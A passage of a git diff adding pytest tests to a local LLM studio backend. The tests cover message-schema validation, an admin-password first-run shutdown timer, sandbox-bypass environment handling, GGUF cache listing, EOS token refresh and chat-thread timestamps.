"What is this?"}, + { + "type": "image", + "source": {"type": "base64", "media_type": "image/png", "data": "AA"}, + }, + {"type": "tool_result", "tool_use_id": "t1", "content": "ok"}, + ], + } + ], + ) + assert [type(b).__name__ for b in req.messages[0].content] == [ + "AnthropicTextBlock", + "AnthropicImageBlock", + "AnthropicToolResultBlock", + ] + + openai = anthropic_messages_to_openai([m.model_dump() for m in req.messages]) + assert any(m["role"] == "tool" and m["tool_call_id"] == "t1" for m in openai) + + +def test_user_malformed_known_block_still_rejected(): + # The guard only allow-lists a user block's *type*; the union still validates its + # shape, so a known-but-malformed block (tool_result without tool_use_id) fails. + from pydantic import ValidationError + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": [{"type": "tool_result", "content": "x"}]}, + ], + ) + + +def test_user_content_block_non_string_type_rejected_cleanly(): + # A user block whose `type` is a non-string (unhashable list / dict, or a stray + # int) must fail as a clean validation error, not raise TypeError from the + # frozenset membership test and escape as a 500. + from pydantic import ValidationError + for bad_type in ([], {}, 5): + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "user", "content": [{"type": bad_type}]}], + ) + + +def test_assistant_missing_content_key_still_rejected(): + # The null -> "" leniency is only for an EXPLICIT null. An assistant message that + # omits content entirely stays malformed and must fail required-field validation. + from pydantic import ValidationError + + with pytest.raises(ValidationError): + AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [{"role": "assistant"}], + ) + # An explicit null is still accepted and coerced (regression guard). + req = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "hi"}, + {"role": "assistant", "content": None}, + ], + ) + assert req.messages[1].content == "" + + +def test_resumed_null_assistant_between_users_coalesced_on_messages_route(monkeypatch): + # user -> assistant(null) -> user is now accepted: the null assistant turn coerces + # to "" and is dropped. The route must then coalesce the two remaining user turns + # so a strict GGUF chat template does not 400 on non-alternating roles. + backend = _mock_backend(monkeypatch, context_length = 2048) + + class _Req: + state = SimpleNamespace() + url = SimpleNamespace(path = "/v1/messages") + method = "POST" + + async def is_disconnected(self): + return False + + payload = AnthropicMessagesRequest( + model = "x", + max_tokens = 16, + messages = [ + {"role": "user", "content": "first question"}, + {"role": "assistant", "content": None}, + {"role": "user", "content": "please continue"}, + ], + ) + + response = _drive(anthropic_messages(payload, request = _Req(), current_subject = "t")) + assert response.status_code == 200 + + [(_path, kwargs)] = backend.calls + user_turns = [m for m in kwargs["messages"] if m.get("role") == "user"] + assert len(user_turns) == 1 # the two user turns were merged, not left adjacent + merged = user_turns[0]["content"] + if isinstance(merged, list): + merged = " ".join(p.get("text", "") for p in merged if isinstance(p, dict)) + assert "first question" in merged and "please continue" in merged diff --git a/studio/backend/tests/test_api_perf_serialization.py b/studio/backend/tests/test_api_perf_serialization.py index f5ad53306d..348e09104c 100644 --- a/studio/backend/tests/test_api_perf_serialization.py +++ b/studio/backend/tests/test_api_perf_serialization.py @@ -57,6 +57,15 @@ def test_media_type_and_status(): assert err.status_code == 503 +def test_pooled_client_disables_proxy_env(): + async def _scenario(): + client = llama_http.nonstreaming_client() + assert client.trust_env is False + await llama_http.aclose() + + asyncio.run(_scenario()) + + def test_pooled_client_reused_within_loop_and_recreated_after_close(): async def _scenario(): a = llama_http.nonstreaming_client() diff --git a/studio/backend/tests/test_bootstrap_timeout.py b/studio/backend/tests/test_bootstrap_timeout.py new file mode 100644 index 0000000000..58d4829215 --- /dev/null +++ b/studio/backend/tests/test_bootstrap_timeout.py @@ -0,0 +1,185 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Coverage for the exposed-first-run auto-shutdown deadline. + +Tests the env parsing, the pure arm/no-arm decision matrix, and the deadline +handler (shut down iff the seeded admin password is still unchanged). The +threading.Timer itself is not exercised; the handler is invoked directly. +""" + +from types import SimpleNamespace + +from auth.bootstrap_timeout import ( + DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS, + _format_duration, + bootstrap_timeout_seconds, + enforce_bootstrap_password_deadline, + should_arm_bootstrap_timeout, +) + + +# ── bootstrap_timeout_seconds ─────────────────────────────────────── + + +def test_default_when_unset(): + assert bootstrap_timeout_seconds(env = {}) == DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + + +def test_default_when_empty(): + assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": " "}) == ( + DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + ) + + +def test_explicit_value_parsed(): + assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "1800"}) == 1800 + + +def test_zero_disables(): + assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "0"}) == 0 + + +def test_negative_disables(): + assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "-5"}) == 0 + + +def test_invalid_falls_back_to_default(): + # A typo must keep the protection, not silently disable it. + assert bootstrap_timeout_seconds(env = {"UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT": "abc"}) == ( + DEFAULT_BOOTSTRAP_TIMEOUT_SECONDS + ) + + +# ── should_arm_bootstrap_timeout matrix ───────────────────────────── + + +def _arm_kwargs(**overrides): + kwargs = dict( + host = "0.0.0.0", + secure = False, + api_only = False, + frontend_served = True, + is_colab = False, + requires_change = True, + timeout_seconds = 3600, + ) + kwargs.update(overrides) + return kwargs + + +def test_arm_exposed_wildcard_web_ui(): + assert should_arm_bootstrap_timeout(**_arm_kwargs()) is True + + +def test_arm_secure_loopback_bind(): + # --secure forces a loopback bind but exposes a public tunnel. + assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = True)) is True + + +def test_no_arm_loopback_bind(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(host = "127.0.0.1", secure = False)) is False + + +def test_no_arm_api_only(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(api_only = True)) is False + + +def test_no_arm_no_frontend(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(frontend_served = False)) is False + + +def test_no_arm_colab(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(is_colab = True)) is False + + +def test_no_arm_password_already_changed(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(requires_change = False)) is False + + +def test_no_arm_timeout_disabled(): + assert should_arm_bootstrap_timeout(**_arm_kwargs(timeout_seconds = 0)) is False + + +# ── enforce_bootstrap_password_deadline ───────────────────────────── + + +def _fake_storage(requires_change: bool): + return SimpleNamespace( + DEFAULT_ADMIN_USERNAME = "unsloth", + requires_password_change = lambda _username: requires_change, + ) + + +def test_deadline_shuts_down_when_password_unchanged(): + calls = [] + result = enforce_bootstrap_password_deadline( + _fake_storage(requires_change = True), + lambda: calls.append("shutdown"), + timeout_seconds = 3600, + ) + assert result is True + assert calls == ["shutdown"] + + +def test_deadline_keeps_running_when_password_changed(): + calls = [] + result = enforce_bootstrap_password_deadline( + _fake_storage(requires_change = False), + lambda: calls.append("shutdown"), + timeout_seconds = 3600, + ) + assert result is False + assert calls == [] + + +def test_deadline_swallows_shutdown_errors(): + def _boom(): + raise RuntimeError("shutdown failed") + + # A failing shutdown must not propagate out of the timer thread. + result = enforce_bootstrap_password_deadline( + _fake_storage(requires_change = True), + _boom, + timeout_seconds = 3600, + ) + assert result is True + + +# ── _format_duration ──────────────────────────────────────────────── + + +def test_format_duration_sub_minute_uses_seconds(): + assert _format_duration(30) == "30 seconds" + + +def test_format_duration_singular_second(): + assert _format_duration(1) == "1 second" + + +def test_format_duration_exact_minutes(): + assert _format_duration(60) == "1 minute" + assert _format_duration(3600) == "60 minutes" + + +def test_format_duration_minutes_and_seconds(): + assert _format_duration(90) == "1 minute 30 seconds" + + +def test_shutdown_message_uses_formatted_duration(): + # The deadline message must reflect the real timeout, not a rounded + # "minute(s)" placeholder. Capture the warning via a fake logger. + logged = [] + + class _Logger: + def warning(self, msg, *args): + logged.append(msg) + + enforce_bootstrap_password_deadline( + _fake_storage(requires_change = True), + lambda: None, + timeout_seconds = 3600, + logger = _Logger(), + ) + assert any("60 minutes" in m for m in logged) + assert not any("minute(s)" in m for m in logged) diff --git a/studio/backend/tests/test_bypass_permissions.py b/studio/backend/tests/test_bypass_permissions.py index 563f146816..d92509a5fe 100644 --- a/studio/backend/tests/test_bypass_permissions.py +++ b/studio/backend/tests/test_bypass_permissions.py @@ -135,6 +135,7 @@ def test_python_bypass_uses_bypass_preexec_and_bypass_env(captured_popen, monkey assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec env = captured_popen["kwargs"]["env"] assert env.get("HOSTVAR") == "benign-xyz" + assert env.get("PYTHONIOENCODING") == "utf-8" assert "HF_TOKEN" not in env @@ -151,9 +152,12 @@ def test_bash_blocklist_skipped_when_bypassed(captured_popen): @_POSIX_ONLY -def test_bash_bypass_uses_bypass_preexec(captured_popen): +def test_bash_bypass_uses_bypass_preexec(captured_popen, monkeypatch): + # bypass inherits benign host vars; clear so we assert _bash_exec adds none. + monkeypatch.delenv("PYTHONIOENCODING", raising = False) _bash_exec("echo hi", None, 5, "t", disable_sandbox = True) assert captured_popen["kwargs"]["preexec_fn"] is tools._bypass_preexec + assert "PYTHONIOENCODING" not in captured_popen["kwargs"]["env"] # ── real end-to-end python execution under bypass ─────────────────── diff --git a/studio/backend/tests/test_cached_gguf_routes.py b/studio/backend/tests/test_cached_gguf_routes.py index 03662e7b08..d4a7cae208 100644 --- a/studio/backend/tests/test_cached_gguf_routes.py +++ b/studio/backend/tests/test_cached_gguf_routes.py @@ -20,6 +20,7 @@ if "structlog" not in sys.modules: ) import routes.models as models_route +from hub.services.models import gguf_variants as GV def _repo( @@ -82,6 +83,7 @@ def test_list_cached_gguf_includes_non_suffix_repo_when_cache_contains_gguf(monk "repo_id": "HauhauCS/Gemma-4-E4B-Uncensored-HauhauCS-Aggressive", "size_bytes": 5_000, "cache_path": str(repo.repo_path), + "has_vision": False, } ] @@ -103,6 +105,7 @@ def test_list_cached_gguf_matches_extension_case_insensitively(monkeypatch, tmp_ "repo_id": "Org/Model-Without-Suffix", "size_bytes": 7_000, "cache_path": str(repo.repo_path), + "has_vision": False, } ] @@ -197,6 +200,7 @@ def test_list_cached_gguf_keeps_largest_duplicate_repo_across_scans(monkeypatch, "repo_id": "org/dupe", "size_bytes": 6_000, "cache_path": str(larger.repo_path), + "has_vision": False, } ] @@ -226,6 +230,7 @@ def test_list_cached_gguf_dedupes_shared_blobs_across_revisions(monkeypatch, tmp "repo_id": "Org/SharedBlobRepo", "size_bytes": 5_000, "cache_path": str(repo.repo_path), + "has_vision": False, } ] @@ -275,6 +280,7 @@ def test_list_cached_gguf_includes_mixed_repo_with_gguf_and_safetensors(monkeypa "repo_id": "Org/MixedRepo", "size_bytes": 5_000, "cache_path": str(mixed.repo_path), + "has_vision": False, } ] @@ -301,6 +307,7 @@ def test_list_cached_gguf_handles_none_size_on_disk(monkeypatch, tmp_path): "repo_id": "Org/PartialDownload", "size_bytes": 5_000, "cache_path": str(partial.repo_path), + "has_vision": False, } ] @@ -336,6 +343,7 @@ def test_list_cached_gguf_skips_malformed_repo_without_wiping_response(monkeypat "repo_id": "Org/Healthy", "size_bytes": 5_000, "cache_path": str(healthy.repo_path), + "has_vision": False, } ] @@ -411,6 +419,7 @@ def test_list_cached_gguf_includes_vision_repo_with_main_gguf_and_mmproj(monkeyp "repo_id": "Org/VisionGguf", "size_bytes": 5_000, "cache_path": str(vision_repo.repo_path), + "has_vision": True, } ] @@ -464,6 +473,7 @@ def test_all_hf_cache_scans_survives_inaccessible_aux_cache(monkeypatch, tmp_pat "repo_id": "Org/Active", "size_bytes": 5_000, "cache_path": str(tmp_path / "active"), + "has_vision": False, } ] @@ -518,21 +528,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa """The per-quant 'downloaded' flag is driven by the real weight file in a single snapshot; an mmproj vision adapter (matching a quant label) must not make that quant appear downloaded.""" - import huggingface_hub.constants as hf_constants - variants = [ - SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10_000), - SimpleNamespace(filename = "model-F16.gguf", quant = "F16", size_bytes = 20_000), + SimpleNamespace( + filename = "model-Q4_K_M.gguf", + quant = "Q4_K_M", + display_label = None, + size_bytes = 10_000, + ), + SimpleNamespace( + filename = "model-F16.gguf", + quant = "F16", + display_label = None, + size_bytes = 20_000, + ), ] monkeypatch.setattr( - models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, True) + GV, + "list_gguf_variants", + lambda repo_id, hf_token = None: (variants, True, []), ) - monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {}) snap = tmp_path / "models--org--repo" / "snapshots" / "rev" snap.mkdir(parents = True) (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10_000) # real weight, fully present (snap / "mmproj-F16.gguf").write_bytes(b"y" * 20_000) # mmproj adapter, label "F16" + monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) result = asyncio.run( models_route.get_gguf_variants( @@ -546,21 +567,32 @@ def test_gguf_variants_mmproj_does_not_mark_quant_downloaded(monkeypatch, tmp_pa def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path): - import huggingface_hub.constants as hf_constants - siblings = [ SimpleNamespace(rfilename = "model-Q4_K_M-be.gguf", size = 100), SimpleNamespace(rfilename = "model-Q4_K_M.gguf", size = 10), ] monkeypatch.setattr( - "huggingface_hub.model_info", - lambda *_args, **_kwargs: SimpleNamespace(siblings = siblings), + GV, + "list_gguf_variants", + lambda repo_id, hf_token = None: ( + [ + SimpleNamespace( + filename = "model-Q4_K_M.gguf", + quant = "Q4_K_M", + display_label = None, + size_bytes = 10, + ) + ], + False, + siblings, + ), ) - monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {}) snap = tmp_path / "models--org--repo" / "snapshots" / "rev" snap.mkdir(parents = True) (snap / "model-Q4_K_M.gguf").write_bytes(b"x" * 10) + monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) result = asyncio.run( models_route.get_gguf_variants( @@ -574,19 +606,25 @@ def test_gguf_variants_ignore_big_endian_siblings(monkeypatch, tmp_path): def test_gguf_variants_cached_big_endian_does_not_satisfy_variant(monkeypatch, tmp_path): - import huggingface_hub.constants as hf_constants - variants = [ - SimpleNamespace(filename = "model-Q4_K_M.gguf", quant = "Q4_K_M", size_bytes = 10), + SimpleNamespace( + filename = "model-Q4_K_M.gguf", + quant = "Q4_K_M", + display_label = None, + size_bytes = 10, + ), ] monkeypatch.setattr( - models_route, "list_gguf_variants", lambda repo_id, hf_token = None: (variants, False) + GV, + "list_gguf_variants", + lambda repo_id, hf_token = None: (variants, False, []), ) - monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path)) + monkeypatch.setattr(GV, "_local_main_gguf_blobs_by_quant", lambda _repo_id: {}) snap = tmp_path / "models--org--repo" / "snapshots" / "rev" snap.mkdir(parents = True) (snap / "model-Q4_K_M-be.gguf").write_bytes(b"x" * 10) + monkeypatch.setattr(GV, "iter_hf_cache_snapshots", lambda _repo_id: [snap]) result = asyncio.run( models_route.get_gguf_variants( diff --git a/studio/backend/tests/test_chat_eos_template_refresh.py b/studio/backend/tests/test_chat_eos_template_refresh.py new file mode 100644 index 0000000000..75d0117015 --- /dev/null +++ b/studio/backend/tests/test_chat_eos_template_refresh.py @@ -0,0 +1,194 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Mapper models whose own tokenizer ships no chat_template have their turn-end +eos resolved at LOAD from an empty template (document eos only). The effective +template is installed later, at generate time, via get_chat_template, so the +turn-end-eos cache must be refreshed then; otherwise generate_stream runs past +the ChatML <|im_end|> boundary and loops (the exact bug this PR fixes). +""" + +import sys +from pathlib import Path + +import pytest + +_BACKEND = Path(__file__).resolve().parent.parent +if str(_BACKEND) not in sys.path: + sys.path.insert(0, str(_BACKEND)) + +# These tests construct InferenceBackend, pulling the full stack. CI may lack +# unsloth/unsloth_zoo (ImportError) or have a broken CUDA/bitsandbytes setup +# (RuntimeError); skip at module level so collection is not aborted (exit 2). +try: + from core.inference import inference as inf_mod # noqa: E402 + from core.inference.inference import InferenceBackend # noqa: E402 +except (ImportError, RuntimeError) as exc: # pragma: no cover - env-dependent + pytest.skip( + f"full inference backend unavailable ({type(exc).__name__}: {exc})", + allow_module_level = True, + ) + +_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}" +_GEMMA = "{% for m in messages %}{{m.role}}\n{{m.content}}{% endfor %}" + + +class _FakeTokenizer: + def __init__( + self, + eos_id, + chat_template = "", + token_ids = None, + ): + self.eos_token_id = eos_id + self.chat_template = chat_template + self.pad_token_id = eos_id + self.unk_token_id = None + self._ids = dict(token_ids or {}) + + def convert_tokens_to_ids(self, tok): + return self._ids.get(tok) + + +def test_turn_end_eos_refreshed_after_generate_time_template(monkeypatch): + import utils.datasets as ds + + backend = InferenceBackend.__new__(InferenceBackend) + backend.active_model_name = "unsloth/qwen2.5-0.5b" + + # No chat_template at load, so the cache stored only the document eos, though + # <|im_end|> is atomic in the vocab (unused until the mapper installs a template). + bare_tok = _FakeTokenizer(151643, chat_template = "", token_ids = {"<|im_end|>": 151645}) + model_info = { + "tokenizer": bare_tok, + "is_vision": False, + "chat_turn_end_eos_ids": [151643], + } + backend.models = {backend.active_model_name: model_info} + + # The mapper installs a ChatML template (turns end with <|im_end|>) at generate time. + templated_tok = _FakeTokenizer(151643, chat_template = _CHATML, token_ids = {"<|im_end|>": 151645}) + monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: templated_tok) + monkeypatch.setattr( + ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "qwen-2.5"}, raising = False + ) + + # Stub the tail so the generator runs through the refresh without a real model. + monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) + monkeypatch.setattr( + backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + ) + monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) + + list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + + # After the template is applied the cache must include the ChatML turn-end id. + assert model_info["chat_turn_end_eos_ids"] == [151643, 151645] + + +def test_turn_end_eos_refresh_preserves_load_time_ids_on_destructive_swap(monkeypatch): + # Regression: get_chat_template can return a remapped tokenizer (Gemma: + # folded onto the eos id) while generate_stream re-reads the original. Resolving on + # the swap yields a narrower set, so the refresh must UNION, never overwrite. + import utils.datasets as ds + + backend = InferenceBackend.__new__(InferenceBackend) + backend.active_model_name = "unsloth/gemma-2b-it" + + # Original tokenizer (used by generate_stream): =107 distinct from + # eos=1, so the load-time cache resolved to [1, 107]. + orig_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"": 107}) + model_info = { + "tokenizer": orig_tok, + "is_vision": False, + "chat_turn_end_eos_ids": [1, 107], + } + backend.models = {backend.active_model_name: model_info} + + # Destructively-swapped tokenizer: now maps onto eos id 1, so + # resolving on it yields only [1] (drops 107). + swapped_tok = _FakeTokenizer(1, chat_template = _GEMMA, token_ids = {"": 1}) + monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: swapped_tok) + monkeypatch.setattr( + ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "gemma-3"}, raising = False + ) + + monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) + monkeypatch.setattr( + backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + ) + monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) + + list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + + # The load-time =107 must survive: overwriting with the swapped + # [1] would regress and loop past the turn. + assert model_info["chat_turn_end_eos_ids"] == [1, 107] + + +def test_turn_end_eos_refresh_resolves_marker_id_on_original_not_remapped(monkeypatch): + # Yi-style map_eos_token=True: the original carries <|im_end|> at its own id, but + # get_chat_template folds it onto the doc-eos id. generate_stream uses the original, + # so read marker strings from the mapped template but ids from the original. + import utils.datasets as ds + + backend = InferenceBackend.__new__(InferenceBackend) + backend.active_model_name = "01-ai/yi-6b" + + # Original: no template of its own, doc eos = 2, <|im_end|> atomic = 7. + orig_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7}) + model_info = { + "tokenizer": orig_tok, + "is_vision": False, + "chat_turn_end_eos_ids": [2], + } + backend.models = {backend.active_model_name: model_info} + + # Remapped tokenizer: ChatML template, but <|im_end|> folded onto doc-eos id 2. + remapped_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2}) + monkeypatch.setattr(inf_mod, "get_chat_template", lambda tok, chat_template = None: remapped_tok) + monkeypatch.setattr( + ds, "MODEL_TO_TEMPLATE_MAPPER", {backend.active_model_name: "chatml"}, raising = False + ) + + monkeypatch.setattr(backend, "_normalize_top_k", lambda k: k, raising = False) + monkeypatch.setattr( + backend, "_apply_chat_template_for_generation", lambda *a, **k: "PROMPT", raising = False + ) + monkeypatch.setattr(backend, "generate_stream", lambda *a, **k: iter(()), raising = False) + + list(backend._generate_chat_response_inner(messages = [{"role": "user", "content": "hi"}])) + + # The real <|im_end|>=7 (original vocab) must be recovered, not the remapped 2. + assert model_info["chat_turn_end_eos_ids"] == [2, 7] + + +class _FakeProcessor: + """A ProcessorMixin-like container: carries the chat_template itself and + wraps the real text tokenizer as ``.tokenizer`` (the vision layout).""" + + def __init__(self, chat_template, tokenizer): + self.chat_template = chat_template + self.tokenizer = tokenizer + + +def test_resolve_chat_eos_reads_vision_processor_template(): + # Vision model: the chat_template lives on the processor while the inner tokenizer + # ships none. _resolve_chat_eos must read the marker from the processor but resolve + # its id on the inner tokenizer, and repair generation_config. + from types import SimpleNamespace + + inner_tok = _FakeTokenizer(1, chat_template = "", token_ids = {"": 107}) + processor = _FakeProcessor(_GEMMA, inner_tok) + model = SimpleNamespace(generation_config = SimpleNamespace(eos_token_id = 1)) + + backend = InferenceBackend.__new__(InferenceBackend) + backend.active_model_name = "unsloth/gemma-3-4b-it" + model_info = {"model": model, "tokenizer": processor, "processor": processor, "is_vision": True} + backend.models = {backend.active_model_name: model_info} + + backend._resolve_chat_eos(backend.active_model_name) + + assert model_info["chat_turn_end_eos_ids"] == [1, 107] + # generation_config repaired so the vision .generate() path stops at the turn. + assert model.generation_config.eos_token_id == [1, 107] diff --git a/studio/backend/tests/test_chat_history_routes.py b/studio/backend/tests/test_chat_history_routes.py index 2a6ebe244f..a60ac700bf 100644 --- a/studio/backend/tests/test_chat_history_routes.py +++ b/studio/backend/tests/test_chat_history_routes.py @@ -91,6 +91,17 @@ def test_chat_settings_payload_accepts_fast_mode_presets(): assert dumped["customPresets"][0]["params"]["fastMode"] is True +def test_chat_settings_payload_accepts_nudge_tool_calls(): + # extra="forbid" 400s PUT /api/chat/settings on unknown keys, so the + # frontend's persisted nudgeToolCalls needs a payload field (like + # autoHealToolCalls). + payload = chat_history.ChatSettingsPayload.model_validate( + {"autoHealToolCalls": True, "nudgeToolCalls": False} + ) + dumped = payload.model_dump(exclude_unset = True) + assert dumped == {"autoHealToolCalls": True, "nudgeToolCalls": False} + + def test_chat_inference_settings_covers_frontend_persisted_fields(): # Drift guard: every InferenceParams field the UI persists (all but # checkpoint) must exist on ChatInferenceSettings, else extra="forbid" diff --git a/studio/backend/tests/test_chat_history_storage.py b/studio/backend/tests/test_chat_history_storage.py index aa19df15fe..0239410734 100644 --- a/studio/backend/tests/test_chat_history_storage.py +++ b/studio/backend/tests/test_chat_history_storage.py @@ -4,6 +4,7 @@ import os import platform import shutil +import sqlite3 import threading import uuid from pathlib import Path @@ -11,6 +12,7 @@ from pathlib import Path import pytest from storage import studio_db +from utils.paths import studio_db_path def _reset_studio_db( @@ -108,6 +110,138 @@ def test_sync_chat_messages_upserts_without_pruning(tmp_path, monkeypatch): assert by_id["msg-2"]["content"] == [{"type": "text", "text": "updated text"}] +def test_chat_thread_updated_at_bumps_on_message_writes(tmp_path, monkeypatch): + _reset_studio_db(tmp_path, monkeypatch) + thread = studio_db.upsert_chat_thread(_thread()) + assert thread["updatedAt"] == thread["createdAt"] + + studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi")) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500 + + studio_db.upsert_chat_message(_message("msg-0", 1_600_000_000_000, "old")) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500 + + studio_db.sync_chat_messages( + "thread-1", + [_message("msg-2", 1_700_000_001_000, "newer")], + ) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000 + + +def test_chat_thread_updated_at_recomputed_when_pruning(tmp_path, monkeypatch): + _reset_studio_db(tmp_path, monkeypatch) + thread = studio_db.upsert_chat_thread(_thread()) + studio_db.sync_chat_messages( + "thread-1", + [ + _message("msg-1", 1_700_000_000_500, "older"), + _message("msg-2", 1_700_000_001_000, "newest"), + ], + prune_missing = True, + ) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_001_000 + + # Pruning the newest message must lower updated_at to the remaining one. + studio_db.sync_chat_messages( + "thread-1", + [_message("msg-1", 1_700_000_000_500, "older")], + prune_missing = True, + ) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500 + + # Pruning every message falls back to created_at. + studio_db.sync_chat_messages("thread-1", [], prune_missing = True) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == thread["createdAt"] + + +def test_chat_thread_updated_at_survives_thread_resave(tmp_path, monkeypatch): + _reset_studio_db(tmp_path, monkeypatch) + studio_db.upsert_chat_thread(_thread()) + studio_db.upsert_chat_message(_message("msg-1", 1_700_000_000_500, "hi")) + + studio_db.upsert_chat_thread(_thread()) + assert studio_db.get_chat_thread("thread-1")["updatedAt"] == 1_700_000_000_500 + + +def test_list_chat_threads_orders_by_last_activity(tmp_path, monkeypatch): + _reset_studio_db(tmp_path, monkeypatch) + older = _thread("thread-old") + older["createdAt"] = 1_700_000_000_000 + newer = _thread("thread-new") + newer["createdAt"] = 1_700_000_100_000 + studio_db.upsert_chat_thread(older) + studio_db.upsert_chat_thread(newer) + assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-new", "thread-old"] + + studio_db.upsert_chat_message( + _message("msg-1", 1_700_000_200_000, "hi", thread_id = "thread-old") + ) + assert [t["id"] for t in studio_db.list_chat_threads()] == ["thread-old", "thread-new"] + + +def test_chat_threads_updated_at_migration_backfills_from_messages(tmp_path, monkeypatch): + _reset_studio_db(tmp_path, monkeypatch) + db_path = studio_db_path() + db_path.parent.mkdir(parents = True, exist_ok = True) + conn = sqlite3.connect(str(db_path)) + try: + conn.execute( + """ + CREATE TABLE chat_threads ( + id TEXT NOT NULL PRIMARY KEY, + title TEXT NOT NULL, + model_type TEXT NOT NULL, + model_id TEXT, + pair_id TEXT, + archived INTEGER NOT NULL DEFAULT 0, + created_at INTEGER NOT NULL + ) + """ + ) + conn.execute( + """ + CREATE TABLE chat_messages ( + id TEXT NOT NULL PRIMARY KEY, + thread_id TEXT NOT NULL, + parent_id TEXT, + role TEXT NOT NULL, + content_json TEXT NOT NULL, + attachments_json TEXT, + metadata_json TEXT, + created_at INTEGER NOT NULL + ) + """ + ) + conn.execute( + "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)", + ("thread-with-msgs", "Old", "base", 1_700_000_000_000), + ) + conn.execute( + "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)", + ("thread-empty", "Empty", "base", 1_700_000_050_000), + ) + # Fork-like thread: copied ancestor messages predate the thread itself. + conn.execute( + "INSERT INTO chat_threads (id, title, model_type, created_at) VALUES (?, ?, ?, ?)", + ("thread-fork", "Fork", "base", 1_700_000_100_000), + ) + conn.executemany( + "INSERT INTO chat_messages (id, thread_id, role, content_json, created_at) VALUES (?, ?, ?, ?, ?)", + [ + ("m1", "thread-with-msgs", "user", "[]", 1_700_000_001_000), + ("m2", "thread-with-msgs", "assistant", "[]", 1_700_000_002_000), + ("m3", "thread-fork", "user", "[]", 1_700_000_001_000), + ], + ) + conn.commit() + finally: + conn.close() + + assert studio_db.get_chat_thread("thread-with-msgs")["updatedAt"] == 1_700_000_002_000 + assert studio_db.get_chat_thread("thread-empty")["updatedAt"] == 1_700_000_050_000 + assert studio_db.get_chat_thread("thread-fork")["updatedAt"] == 1_700_000_100_000 + + def test_chat_projects_delete_cascades_threads_and_messages(tmp_path, monkeypatch): _reset_studio_db(tmp_path, monkeypatch) project = studio_db.upsert_chat_project(_project()) diff --git a/studio/backend/tests/test_chat_only_reason.py b/studio/backend/tests/test_chat_only_reason.py new file mode 100644 index 0000000000..405bb2d28f --- /dev/null +++ b/studio/backend/tests/test_chat_only_reason.py @@ -0,0 +1,83 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See 